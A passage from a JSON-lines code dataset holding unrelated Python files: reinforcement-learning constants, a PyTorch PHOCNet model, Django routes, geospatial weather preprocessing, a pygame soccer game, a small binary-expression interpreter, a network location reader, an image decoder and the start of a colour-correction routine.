write_noncoding_gtf()\n\ncall()\n","sub_path":"Non_Coding_RNAs_Analyses/Pull_noncoding_isoforms.py","file_name":"Pull_noncoding_isoforms.py","file_ext":"py","file_size_in_byte":4911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"237192949","text":"# -*- coding:utf-8 -*-\nimport switches_ai\n_reload_all = True\n\nLOG_PATH = r'.\\results\\logs/'\nCKPT_PATH = r'.\\results\\model.ckpt'\n\n# 各种 hyperparameters\nINIT_EP = 0.7\nEPSILON_CLIP = 0.2 # 用于PPO目标函数的clip epsilon\nEPSILON_GREEDY = 0.3 # epsilon-greedy算法中的epsilon\nDISCOUNT_FACTOR = 0.8 # reward的衰减因子0.9997\n\n\n# 训练相关参数\nLR_CRITIC = 1e-5 # critic的初始学习率\nLR_ACTOR = 1e-5 # actor的初始学习率\nLR_DECAY_STEPS = 300 # 学习率衰减周期\nLR_DECAY_RATE = 0.8 # 学习率衰减系数\n\nACTOR_UPDATE_STEPS = 10 # actor每步更新的次数\nCRITIC_UPDATE_STEPS = 10 # critic每步更新的次数\nDUMP_STEPS = 100 # 模型保存的频率\n\n\nif switches_ai.TRAIN_MODE == 'SIMPLE':\n BATCH_SIZE = 30 # 每次训练的batch大小\n\n\nclass EAIMicroAction(object):\n\n STAY = 1\n MOVE = 2\n\n ATK = 20\n SPL1 = 21\n SPL2 = 22\n SPL3 = 23\n SPL4 = 24\n #\n # SPL_SHUNBU = 30\n SPL_ZHIYU = 31","sub_path":"consts_ai.py","file_name":"consts_ai.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"44281530","text":"import torch.nn as nn\nimport torch.nn.functional as F\n\nfrom cnn.spatial_pyramid_layers.gpp import GPP\n\n\nclass Modi_PHOCNet(nn.Module):\n \"\"\"\n This model is only for testing.\n\n \"\"\"\n\n def __init__(self, n_out, input_channels=1, gpp_type='spp', pooling_levels=3,\n pool_type='max_pool', post_pool_out=False):\n super(Modi_PHOCNet, self).__init__()\n\n self.post_pool_out = post_pool_out\n\n # some sanity checks\n if gpp_type not in ['spp', 'tpp', 'gpp', 'max_pool', 'none']:\n raise ValueError('Unknown pooling_type. Must be either \\'gpp\\', \\'spp\\' or \\'tpp\\'')\n\n # set up Conv Layers\n self.conv1_1 = nn.Conv2d(in_channels=input_channels, out_channels=64, kernel_size=3, stride=1, padding=1)\n self.conv1_2 = nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1, padding=1)\n self.conv2_1 = nn.Conv2d(in_channels=64, out_channels=128, kernel_size=3, stride=1, padding=1)\n self.conv2_2 = nn.Conv2d(in_channels=128, out_channels=128, kernel_size=3, stride=1, padding=1)\n self.conv3_1 = nn.Conv2d(in_channels=128, out_channels=256, kernel_size=3, stride=1, padding=1)\n self.conv3_2 = nn.Conv2d(in_channels=256, out_channels=256, kernel_size=3, stride=1, padding=1)\n self.conv3_3 = nn.Conv2d(in_channels=256, out_channels=256, kernel_size=3, stride=1, padding=1)\n self.conv3_4 = nn.Conv2d(in_channels=256, out_channels=256, kernel_size=3, stride=1, padding=1)\n self.conv3_5 = nn.Conv2d(in_channels=256, out_channels=256, kernel_size=3, stride=1, padding=1)\n self.conv3_6 = nn.Conv2d(in_channels=256, out_channels=256, kernel_size=3, stride=1, padding=1)\n self.conv4_1 = nn.Conv2d(in_channels=256, out_channels=512, kernel_size=3, stride=1, padding=1)\n self.conv4_2 = nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1, padding=1)\n self.conv4_3 = nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1, padding=1)\n # create the spatial pooling layer\n\n self.pooling_layer_fn = GPP(gpp_type=gpp_type, levels=pooling_levels, pool_type=pool_type)\n pooling_output_size = self.pooling_layer_fn.pooling_output_size\n\n '''\n first changing place\n '''\n self.fc5 = nn.Linear(pooling_output_size, 4096)\n self.fc6 = nn.Linear(4096, 4096)\n self.fc7 = nn.Linear(4096, n_out)\n\n def forward(self, x):\n\n y = F.relu(self.conv1_1(x))\n y = F.relu(self.conv1_2(y))\n y = F.max_pool2d(y, kernel_size=2, stride=2, padding=0)\n y = F.relu(self.conv2_1(y))\n y = F.relu(self.conv2_2(y))\n y = F.max_pool2d(y, kernel_size=2, stride=2, padding=0)\n y = F.relu(self.conv3_1(y))\n y = F.relu(self.conv3_2(y))\n y = F.relu(self.conv3_3(y))\n y = F.relu(self.conv3_4(y))\n y = F.relu(self.conv3_5(y))\n y = F.relu(self.conv3_6(y))\n y = F.relu(self.conv4_1(y))\n y = F.relu(self.conv4_2(y))\n y = F.relu(self.conv4_3(y))\n\n y = self.pooling_layer_fn.forward(y)\n\n post_pooling = y\n\n '''\n second changing place\n '''\n y = F.relu(self.fc5(y))\n y = F.dropout(y, p=0.5, training=self.training)\n y = F.relu(self.fc6(y))\n y = F.dropout(y, p=0.5, training=self.training)\n y = self.fc7(y)\n\n if self.post_pool_out:\n return y, post_pooling\n else:\n return y\n\n def init_weights(self):\n self.apply(Modi_PHOCNet._init_weights_he)\n\n @staticmethod\n def _init_weights_he(m):\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, (2. / n) ** (1 / 2.0))\n if isinstance(m, nn.Linear):\n n = m.out_features\n m.weight.data.normal_(0, (2. / n) ** (1 / 2.0))\n # nn.init.kaiming_normal(m.weight.data)\n nn.init.constant_(m.bias.data, 0)\n","sub_path":"src/cnn/models/modi_phocnet.py","file_name":"modi_phocnet.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"51080076","text":"from django.urls import path\nfrom .views import (\n EspeciesList,\n EspecieCreate,\n EspecieUpdate,\n EspecieDelete,\n)\n\n\nurlpatterns = [\n path('list', EspeciesList.as_view(), name='list_especies'),\n path('novo', EspecieCreate.as_view(), name='create_especie'),\n path('update//', EspecieUpdate.as_view(), name='update_especie'),\n path('delete//', EspecieDelete.as_view(), name='delete_especie'),\n\n]","sub_path":"apps/especies/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"396522454","text":"\nimport os\nimport pandas as pd\nimport geopandas as gpd\nfrom shapely.geometry import Point\n\nimport scripts.read as read\nfrom scripts.misc import upsample_df\n\n\ndef map_population(input_path, regions, interim_path, plot=True):\n\n mapped_population = {}\n\n population = read.population(input_path)\n weather_data = read.wind(input_path) # For the weather grid\n\n # Make GeoDataFrame from the weather data coordinates\n weather_grid = gpd.GeoDataFrame(index=weather_data.columns)\n weather_grid['geometry'] = weather_grid.index.map(lambda i: Point(reversed(i)))\n\n # Set coordinate reference system to 'latitude/longitude'\n weather_grid.crs = {'init': 'epsg:4326'}\n\n # Make polygons around the weather points\n weather_grid['geometry'] = weather_grid.geometry.apply(lambda point: point.buffer(.75 / 2, cap_style=3))\n\n # Make list from MultiIndex (this is necessary for the spatial join)\n weather_grid.index = weather_grid.index.tolist()\n\n for region in regions.iterrows():\n print(region[1].id)\n file = os.path.join(interim_path, 'population_{}'.format(region[1].id))\n\n if not os.path.isfile(file):\n # For Luxembourg, a single weather grid point is manually added for lack of population geodata\n if region[1].id == 'LU':\n s = pd.Series({(49.5, 6): 1})\n\n else:\n # Filter population data by country to cut processing time\n if region[1].id == 'GB':\n gdf = population[population.CNTR_CODE == 'UK'].copy()\n else:\n gdf = population[population.CNTR_CODE == region[1].country_code].copy()\n\n # Align coordinate reference systems\n gdf = gdf.to_crs({'init': 'epsg:4326'})\n print(gdf)\n\n # Spatial join, first to the region, then to the weather grid points\n region_points = gpd.sjoin(\n gdf, regions.loc[[region[0]]], how=\"left\", op='within'\n )\n weather_grid_points = gpd.sjoin(\n region_points.dropna().drop('index_right', axis=1),\n weather_grid, how=\"left\", op='within'\n )\n\n\n # Sum up population\n s = weather_grid_points.groupby('index_right')['TOT_P'].sum()\n\n # Write results to interim path\n s.to_pickle(file)\n\n else:\n\n s = pd.read_pickle(file)\n print('{} already exists and is read from disk.'.format(file))\n\n mapped_population[region[1].id] = s\n\n if plot:\n print('Plot of the re-mapped population data of {} (first selected country) '\n 'for visual inspection:'.format(regions.id.values[0]))\n gdf = gpd.GeoDataFrame(mapped_population[regions.id.values[0]], columns=['TOT_P'])\n gdf['geometry'] = gdf.index.map(lambda i: Point(reversed(i)))\n gdf.plot(column='TOT_P')\n\n return mapped_population\n\n\ndef wind(input_path, mapped_population, plot=True):\n\n df = read.wind(input_path)\n\n # Temporal average\n s = df.mean(0)\n\n if plot:\n print('Plot of the wind averages for visual inspection:')\n gdf = gpd.GeoDataFrame(s, columns=['wind'])\n gdf['geometry'] = gdf.index.map(lambda i: Point(reversed(i)))\n gdf.plot(column='wind')\n\n # Wind data is filtered by country\n return pd.concat(\n [s[population.index] for population in mapped_population.values()],\n keys=mapped_population.keys(), names=['country', 'latitude', 'longitude'], axis=0\n ).apply(pd.to_numeric, downcast='float')\n\n\ndef temperature(input_path, year_start, year_end, mapped_population):\n\n parameters = {\n 'air': 't2m',\n 'soil': 'stl4'\n }\n\n t = pd.concat(\n [read.temperature(input_path, year_start, year_end, parameter) for parameter in parameters.values()],\n keys=parameters.keys(), names=['parameter', 'latitude', 'longitude'], axis=1\n )\n\n t = upsample_df(t, '60min')\n\n # Temperature data is filtered by country\n return pd.concat(\n [pd.concat(\n [t[parameter][population.index] for population in mapped_population.values()],\n keys=mapped_population.keys(), axis=1\n ) for parameter in parameters.keys()],\n keys=parameters.keys(), names=['parameter', 'country', 'latitude', 'longitude'], axis=1\n ).apply(pd.to_numeric, downcast='float')\n\n#%% Custom temperature\n\n# def upsample_df(df, resolution):\n\n# # The low-resolution values are applied to all high-resolution values up to the next low-resolution value\n# # In particular, the last low-resolution value is extended up to where the next low-resolution value would be\n\n# df = df.copy()\n\n# # Determine the original frequency\n# freq = df.index[-1] - df.index[-2]\n\n# # Temporally append the DataFrame by one low-resolution value\n# df.loc[df.index[-1] + freq, :] = df.iloc[-1, :]\n\n# dtidx = pd.date_range(str(df.index[0]),str(df.index[-1]), freq=freq)\n# df.index = dtidx\n\n# # Up-sample\n# df = df.resample(resolution).pad()\n\n# # Drop the temporal low-resolution value\n# df.drop(df.index[-1], inplace=True)\n\n# return df\n\n# parameters = {\n# 'air': 't2m',\n# 'soil': 'stl4'\n# }\n\n# t = pd.concat(\n# [read.temperature(input_path, year_start, year_end, parameter) for parameter in parameters.values()],\n# keys=parameters.keys(), names=['parameter', 'latitude', 'longitude'], axis=1\n# )\n\n# t = upsample_df(t, '60min')\n\n# # Temperature data is filtered by country\n# temperature = pd.concat(\n# [pd.concat(\n# [t[parameter][population.index] for population in mapped_population.values()],\n# keys=mapped_population.keys(), axis=1\n# ) for parameter in parameters.keys()],\n# keys=parameters.keys(), names=['parameter', 'country', 'latitude', 'longitude'], axis=1\n# ).apply(pd.to_numeric, downcast='float')","sub_path":"scripts/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":5921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"397171963","text":"import matplotlib.pyplot as plt\nimport os\nimport sys\n\nif len(sys.argv) < 2:\n print(\"\\nWhat file?\\n\")\n sys.exit()\nwith open(sys.argv[1]) as f:\n lines = f.readlines()\n\ndata = [l for l in lines if l[0] not in (\"@\", \"#\")]\ndata = [[float(val) for val in line.split()[:2]] for line in data]\nx, y = [l[0] for l in data], [l[1] for l in data]\n\nplt.plot(x, y)\n\nfor line in lines:\n if line[0] == \"@\" and line.split()[1] == \"title\":\n plt.title(\" \".join(line.split()[2:]).replace('\"', \"\"))\n if line[0] == \"@\" and line.split()[1] == \"xaxis\":\n plt.xlabel(\" \".join(line.split()[3:]).replace('\"', \"\"))\n if line[0] == \"@\" and line.split()[1] == \"yaxis\":\n plt.ylabel(\" \".join(line.split()[3:]).replace('\"', \"\"))\n\nplt.savefig('{}.png'.format(sys.argv[1][:-4]))\n","sub_path":"python_scripts/phd_scripts_backup/misc/saveaspng.py","file_name":"saveaspng.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"361045307","text":"import pygame # Pygame Package #\r\nimport time\r\nimport random\r\n\r\npygame.init()\r\n\r\ndisplay_width = 800 \r\ndisplay_height = 600 \r\n# Player jumping + Update ZOC(Make new variables for X areas than use <> for wide ranges) \r\ngameDisplay = pygame.display.set_mode((display_width,display_height)) # Res # \r\npygame.display.set_caption('SoccerHeads') # File Label # \r\nImg = pygame.image.load('Img.png') # Left Player # \r\nimg = pygame.image.load('ball.png') # Soccer Ball #\r\nImG = pygame.image.load('ground.png') # Left Player #\r\niMg = pygame.image.load('goal.png') # right goal\r\nimG = pygame.image.load('goall.png') # left goal #\r\nright = pygame.image.load('l_player.png') # right player\r\n\r\nblack = (0, 0, 0,) # RGB \r\nwhite = (255, 255, 255) \r\n\r\ngreen = (0,200,0) \r\nred = (200,0,0)\r\n\r\nbgreen = (0,255,0)\r\nbred =(255,0,0)\r\n\r\nModel = 73\r\n\r\nblock_color = (53, 115, 255)\r\n\r\nclock = pygame.time.Clock() \r\n\r\nfailed = False\r\n\r\ndef game_intro(): #\r\n\r\n intro = True\r\n\r\n while intro:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n\r\n gameDisplay.fill(white)\r\n font = pygame.font.SysFont('arial',115)\r\n TextSurf, TextRect = text_objects(\"SoccerHeads\", font)\r\n TextRect.center = ((display_width/2),(display_height/2))\r\n gameDisplay.blit(TextSurf, TextRect)\r\n button(\"Dodge\", 150, 450, 100, 50, green, bgreen, \"Dodge\")\r\n button(\"Quit\", 550, 450, 100, 50, red, bred, \"Quit\")\r\n\r\n pygame.display.update()\r\n clock.tick(15)\r\n\r\n\r\ndef button(msg,x,y,w,h,ic,ac,action=None): # Mouse interaction w/ Menu #\r\n mouse = pygame.mouse.get_pos()\r\n if x+w > mouse[0] > x and y+h > mouse[1] > y:\r\n pygame.draw.rect(gameDisplay, ac, (x,y, w,h))\r\n if pygame.mouse.get_pressed()[0] == 1 and action != None:\r\n if action == \"Dodge\":\r\n game_loop()\r\n elif action == \"Quit\":\r\n pygame.quit()\r\n else:\r\n pygame.draw.rect(gameDisplay, ic, (x,y, w,h))\r\n\r\n \r\n\r\n smallText = pygame.font.SysFont('arial',20)\r\n textSurf, textRect = text_objects(msg, smallText)\r\n textRect.center = ((x + (y/2)), (y+(h/2)) ) \r\n \r\n gameDisplay.blit(textSurf, textRect)\r\n \r\n \r\n\r\n\r\n\r\n \r\ndef R_goal(x,y):\r\n gameDisplay.blit(iMg,(x,y))\r\n\r\ndef L_goal(x,y):\r\n gameDisplay.blit(imG,(x,y))\r\n\r\ndef L_Movement(x,y): # Displaying Left Player # \r\n gameDisplay.blit(Img,(x,y))\r\n\r\ndef R_Movement(x,y):\r\n gameDisplay.blit(right,(x,y))\r\n\r\ndef B_Movement(x,y): # Displaying Soccer Ball Player #\r\n gameDisplay.blit(img,(x,y))\r\n\r\ndef Ground(x,y): # Displaying Left Player # \r\n gameDisplay.blit(ImG,(x,y))\r\n\r\ndef text_objects(text, font):\r\n textSurface = font.render(text, True, black)\r\n return textSurface, textSurface.get_rect()\r\n\r\n\r\ndef message_display(text):\r\n font = pygame.font.SysFont('arial',115)\r\n TextSurf, TextRect = text_objects(text, font)\r\n TextRect.center = ((display_width/2),(display_height/2))\r\n gameDisplay.blit(TextSurf, TextRect)\r\n\r\n pygame.display.update()\r\n time.sleep(2)\r\n\r\n game_loop()\r\n \r\ndef quit():\r\n message_display(' You Dead ')\r\n \r\n \r\n\r\ndef game_loop():\r\n\r\n xr = 670 # Default positions for R player\r\n yr = 465\r\n \r\n \r\n\r\n x = 30 # Position Variables for L_Player #\r\n y = (display_height * 0.8) \r\n\r\n X = 360# Position Variables for Ball #\r\n Y = 480\r\n\r\n A = X - 50 # Zones of collision for ball when a player is Moving Right\r\n D = A + 30\r\n B = X + 50 # Zones of collision for ball when a player is Moving Left\r\n Z = B - 20\r\n\r\n \r\n \r\n b = True\r\n \r\n #The variables for ball zone do indeed change cause of X_change so don't mistake them as defaults like x\r\n \r\n\r\n x_change = 0 # L player movement\r\n X_change = 0 # Ball Movement depending on Collision with Player\r\n xr_change = 0 # R player movement\r\n Y_change = 0 # Ball Flying\r\n C = [] # The Zone for Ball Contact\r\n while(True):\r\n C.append(A)\r\n C.append(D)\r\n C.append(B)\r\n C.append(Z)\r\n break\r\n \r\n gameExit = False\r\n \r\n# ZOC = Zone of Collision\r\n while not gameExit: # KEY PRESSES AND MOVEMENT ACTIVITY\r\n \r\n\r\n if X <= 0 and Y > 470: # Ball Going into Goal Areas = Win\r\n message_display(' L Player Wins ')\r\n elif X >= 700 and Y > 470:\r\n message_display(' R Player Wins ')\r\n \r\n \r\n \r\n \r\n \r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n \r\n \r\n \r\n if event.type == pygame.KEYDOWN: # Player_L Movement depending on Keys pressed\r\n if event.key == pygame.K_LEFT:\r\n x_change = -5\r\n if event.key == pygame.K_RIGHT:\r\n x_change = 5\r\n if event.key == pygame.K_a:\r\n xr_change = -5\r\n if event.key == pygame.K_d:\r\n xr_change = 5\r\n \r\n \r\n \r\n\r\n\r\n if event.type == pygame.KEYUP: # When not pressed\r\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\r\n x_change = 0\r\n if event.key == pygame.K_a or pygame.K_d: \r\n xr_change = 0\r\n if event.key == pygame.K_k or pygame.K_f:\r\n X_change = 0\r\n Y_change = 0\r\n if Y < y:\r\n X_change = 1\r\n Y_change = 1\r\n if Y >= 480 and X_change == 1:\r\n X_change = 0\r\n Y_change = 0\r\n if event.key == pygame.K_f:\r\n X_change = 0\r\n Y_change = 0\r\n if Y < y:\r\n X_change = -1\r\n Y_change = 1\r\n if Y >= 480 and X_change == 1:\r\n X_change = 0\r\n Y_change = 0\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n\r\n \r\n\r\n \r\n \r\n for e in C: # Ball Zones of Collision depending on player position/Keypresses stored in C[]\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT or event.key == pygame.K_a:\r\n if x == C[2] or x == C[3]: # AREA FOR BALL KICK FROM Right\r\n X_change = -20\r\n if xr == C[2] or xr == C[3]:\r\n X_change = -20\r\n \r\n\r\n elif event.key == pygame.K_f and X_change == 0: \r\n if xr > X:\r\n X_change = -10\r\n Y_change = -15\r\n \r\n\r\n \r\n \r\n \r\n if event.type == pygame.KEYDOWN: # Ball Movement depending on L_Player Position\r\n if event.key == pygame.K_RIGHT:\r\n if x == C[0] or x == C[1]: # AREA FOR BALL KICK FROM Left \r\n X_change = 20\r\n elif event.key == pygame.K_d: \r\n if xr == C[0] or xr == C[1]:\r\n X_change = 20\r\n \r\n if event.key == pygame.K_k and X_change == 0: # Kicking with K\r\n if x < X:\r\n X_change = 10\r\n Y_change = -15\r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n\r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n\r\n \r\n \r\n \r\n \r\n\r\n\r\n # All of this is also in the \"while not gameexit\"\r\n x += x_change\r\n X += X_change\r\n xr += xr_change\r\n Y += Y_change\r\n gameDisplay.fill(white) #things(thingx, thingy, thingw, thingh, color)\r\n L_Movement(x,y) # L_PLAYER\r\n R_Movement(xr,yr) # R_PLAYER\r\n B_Movement(X,Y) # BALL\r\n R_goal(-50,450) # L goal\r\n L_goal(600,363) # R Goal\r\n Ground(30,y) # Ground\r\n Ground(130,y)\r\n Ground(230,y)\r\n Ground(330,y)\r\n Ground(430,y)\r\n Ground(530,y)\r\n Ground(630,y)\r\n Ground(730,y)\r\n \r\n \r\n \r\n \r\n \r\n \r\n if x > display_width - Model:# Players reaching edge\r\n x_change = -5\r\n if 0 > x:\r\n x_change = 0\r\n if 0 > xr:\r\n xr_change = 5\r\n if xr > display_width - Model:\r\n xr_change = -5\r\n if X > display_width - Model:# BALL REACHING EDGE \r\n X_change = -5\r\n if 0 > X:\r\n X_change = 5\r\n if X < x: \r\n X_change = 0\r\n if X > xr:\r\n X_change = 0\r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n\r\n \r\n\r\n\r\n pygame.display.update()\r\n clock.tick(30) # Frame Rate\r\n\r\ngame_intro()\r\ngame_loop()\r\npygame.quit()\r\nquit()\r\n\r\n","sub_path":"Soccerheads.py","file_name":"Soccerheads.py","file_ext":"py","file_size_in_byte":9866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"296941729","text":"import plex\n\n\nclass ParseError(Exception):\n pass\n\n\nclass RunError(Exception):\n pass\n\n\nclass myRunner:\n\n def __init__(self):\n DIGIT = plex.Range(\"09\")\n BINARY_DIGIT = plex.Range(\"01\")\n LETTER = plex.Range('azAZ')\n BINARY_TOKEN = plex.Rep1(BINARY_DIGIT)\n IDENTIFIER_TOKEN_OPERATOR = LETTER + plex.Rep(LETTER | DIGIT)\n AND_TOKEN = plex.Str(\"and\")\n OR_TOKEN = plex.Str(\"or\")\n XOR_TOKEN = plex.Str(\"xor\")\n EQUALITY_OPERATOR = plex.Str(\"=\")\n OPEN_PARENTHESES = plex.Str(\"(\")\n CLOSE_PARENTHESES = plex.Str(\")\")\n PRINT_TOKEN = plex.Str(\"print\")\n SPACE = plex.Any(\" \\n\\t\")\n\n self.LEXICON = plex.Lexicon([(SPACE, plex.IGNORE),\n (BINARY_TOKEN, \"binary\"),\n (AND_TOKEN, \"and\"),\n (OR_TOKEN, \"or\"),\n (XOR_TOKEN, \"xor\"),\n (EQUALITY_OPERATOR, \"=\"),\n (PRINT_TOKEN, \"print\"),\n (OPEN_PARENTHESES, \"(\"),\n (CLOSE_PARENTHESES, \")\"),\n (IDENTIFIER_TOKEN_OPERATOR, \"id\")])\n\n self.ST = {}\n\n def create_scanner(self, fp):\n self.SCANNER = plex.Scanner(self.LEXICON, fp)\n self.LA, self.TEXT = self.next_token()\n\n def next_token(self):\n return self.SCANNER.read()\n\n def match(self, TOKEN):\n if self.LA == TOKEN:\n self.LA, self.TEXT = self.next_token()\n else:\n raise ParseError(\"self.LA not the same as token!\")\n\n def run(self, fp):\n self.create_scanner(fp)\n self.stmt_list()\n\n def stmt_list(self):\n if self.LA in (\"id\", \"print\"):\n self.stmt()\n self.stmt_list()\n elif self.LA == None:\n return\n else:\n raise ParseError(\"Didnt get 'id' or 'print' token!\")\n\n def stmt(self):\n if self.LA == \"id\":\n varname = self.TEXT\n self.match(\"id\")\n self.match(\"=\")\n self.ST[varname] = self.expr()\n elif self.LA == \"print\":\n self.match(\"print\")\n print('{:b}'.format(self.expr()))\n else:\n raise ParseError(\"Didnt get what i was expecting!\")\n\n def expr(self):\n if self.LA in (\"(\", \"id\", \"binary\"):\n t = self.term()\n while self.LA == \"xor\":\n self.match(\"xor\")\n t2 = self.term()\n t ^= t2\n if self.LA in (\"id\", \"print\", \")\", None):\n return t\n raise ParseError(\"Didn't get what i was expecting!\")\n else:\n raise ParseError(\"Didnt get what i was expecting!\")\n\n def term(self):\n if self.LA in (\"(\", \"id\", \"binary\"):\n f = self.atom()\n while self.LA == \"or\":\n self.match(\"or\")\n f2 = self.atom()\n f |= f2\n if self.LA in (\"xor\", \"id\", \"print\", \")\", None):\n return f\n raise ParseError(\"Didnt get what i was expecting!\")\n else:\n raise ParseError(\"Didnt get what i was expecting!\")\n\n def atom(self):\n if self.LA in (\"(\", \"id\", \"binary\"):\n f = self.factor()\n while self.LA == \"and\":\n self.match(\"and\")\n f2 = self.factor()\n f += f2\n if self.LA in (\"xor\", \"or\", \"id\", \"print\", \")\", None):\n return f\n raise ParseError(\"Didnt get what i was expecting!\")\n else:\n raise ParseError(\"Didnt get what i was expecting!\")\n\n def factor(self):\n if self.LA == \"(\":\n self.match(\"(\")\n e = self.expr()\n self.match(\")\")\n return e\n elif self.LA == \"id\":\n varname = self.TEXT\n self.match(\"id\")\n if varname in self.ST:\n return self.ST[varname]\n raise RunError(\"Didn't find the value in the Dictionary.\")\n elif self.LA == \"binary\":\n value = int(self.TEXT, 2)\n self.match(\"binary\")\n return value\n else:\n raise ParseError(\"Didnt get what i was expecting!\")\n\n\nrunner = myRunner()\nwith open(\"testRunner.txt\") as fp:\n runner.run(fp)\n","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":4406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"230896909","text":"\"\"\"Abstract implementation of Location Device API which reads from a network\nstream\n\"\"\"\nimport asyncio\nfrom abc import abstractmethod\nfrom contextlib import contextmanager\nfrom logging import getLogger\n\nfrom .base import LocationDeviceBase, LocationAPIBase\n\nlogger = getLogger(__name__)\n\n\nasync def read_line_into_queue(queue: asyncio.Queue, host: str, port: int):\n \"\"\"Coroutine responsible for reading network data into queue.\n\n :param queue: Queue to write into\n :param host: host of network connection\n :param port: port of network connection\n \"\"\"\n logger.info(\"Connecting to network device...\")\n reader, writer = await asyncio.open_connection(host=host, port=port)\n logger.info(\"Connected!\")\n\n try:\n while True:\n line = await reader.readline()\n await queue.put(line)\n\n except:\n logger.exception(\"Error in network data task\")\n\n finally:\n writer.close()\n logger.info(\"Finished reading from network\")\n\n\nclass NetworkLocationDeviceBase(LocationDeviceBase):\n def __init__(self, queue: asyncio.Queue):\n self._queue = queue\n\n def clear_queue(self):\n for i in range(self._queue.qsize()):\n self._queue.get_nowait()\n\n\nclass NetworkLocationDeviceAPIBase(LocationAPIBase):\n def __init__(self, host: str, port: int):\n super().__init__()\n\n self.host = host\n self.port = port\n\n @contextmanager\n def get_device(self) -> NetworkLocationDeviceBase:\n queue = asyncio.LifoQueue()\n task = asyncio.ensure_future(read_line_into_queue(queue, host=self.host, port=self.port))\n yield self._create_network_device(queue)\n task.cancel()\n\n @abstractmethod\n def _create_network_device(self, queue):\n pass\n","sub_path":"swarm/onboard/location/network_base.py","file_name":"network_base.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"245645271","text":"import os\nimport argparse\n\nimport numpy as np\nfrom scipy.misc import imread, imresize, imsave\n\nimport torch\n\nfrom models.network import EncoderCell, DecoderCell, Binarizer\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model', required=True, type=str, \n help='path to model')\nparser.add_argument('--input', required=True, type=str, \n help='input codes')\nparser.add_argument('--output', default='.', type=str, \n help='output folder')\nparser.add_argument('--gpu', type=int, default=1,\n help='use GPU if available')\nparser.add_argument('--compression_iters', type=int, default=8,\n help='number of residual compression iterations')\nargs = parser.parse_args()\n\ndef main():\n\n # Load input codes\n input = np.load(args.input)\n codes = np.unpackbits(content['codes'])\n codes = np.reshape(codes, content['shape']).astype(np.float32) * 2 - 1\n codes = torch.from_numpy(codes)\n\n # Metadata\n iters, batch_size, C, H, W = codes.size()\n assert iters == args.compression_iters\n H, W = H*16, W*16\n\n # Model\n decoder = DecoderCell()\n checkpoint = torch.load(args.checkpoint)['decoder']\n decoder.load_state_dict(checkpoint)\n d_hidden_states = decoder.create_hidden(batch_size, gpu=args.gpu, grad=False)\n\n # GPU\n if args.gpu:\n decoder = decoder.cuda()\n codes = codes.cuda()\n\n # Initial image\n image = torch.zeros(1, 3, H, W)\n \n # Block gradient\n decoder.eval()\n with torch.no_grad():\n\n # Decompress\n for i in args.compression_iters:\n d_out, d_hidden_states = decoder(codes[iters], d_hidden_states)\n image = image + d_out.data.cpu()\n \n # Save image\n fname = '{:02d}.png'.format(iters)\n fpath = os.path.join(args.output, fname)\n img_out = np.squeeze(image.numpy().clip(0,1))\n img_out = (img_out * 255.).astype(np.uint8).transpose(1,2,0)\n imsave(fpath, img_out)\n print('Decompressed image saved to {}'.format(fpath))\n\nif __name__ == '__main__':\n main()\n","sub_path":"old/full_res_rnn/compress/decode.py","file_name":"decode.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"223898042","text":"# Color Corrections Functions\n\nimport os\nimport errno\nimport cv2\nimport numpy as np\nfrom plantcv.plantcv import print_image\nfrom plantcv.plantcv import plot_image\nfrom plantcv.plantcv import fatal_error\nfrom plantcv.plantcv import params\n\n\ndef get_color_matrix(rgb_img, mask):\n \"\"\" Calculate the average value of pixels in each color chip for each color channel.\n\n Inputs:\n rgb_img = RGB image with color chips visualized\n mask = a gray-scale img with unique values for each segmented space, representing unique, discrete\n color chips.\n\n Outputs:\n color_matrix = a 22x4 matrix containing the average red value, average green value, and average blue value\n for each color chip.\n headers = a list of 4 headers corresponding to the 4 columns of color_matrix respectively\n\n :param rgb_img: numpy.ndarray\n :param mask: numpy.ndarray\n :return headers: string array\n :return color_matrix: numpy.ndarray\n \"\"\"\n # Autoincrement the device counter\n params.device += 1\n\n # Check for RGB input\n if len(np.shape(rgb_img)) != 3:\n fatal_error(\"Input rgb_img is not an RGB image.\")\n # Check mask for gray-scale\n if len(np.shape(mask)) != 2:\n fatal_error(\"Input mask is not an gray-scale image.\")\n\n # create empty color_matrix\n 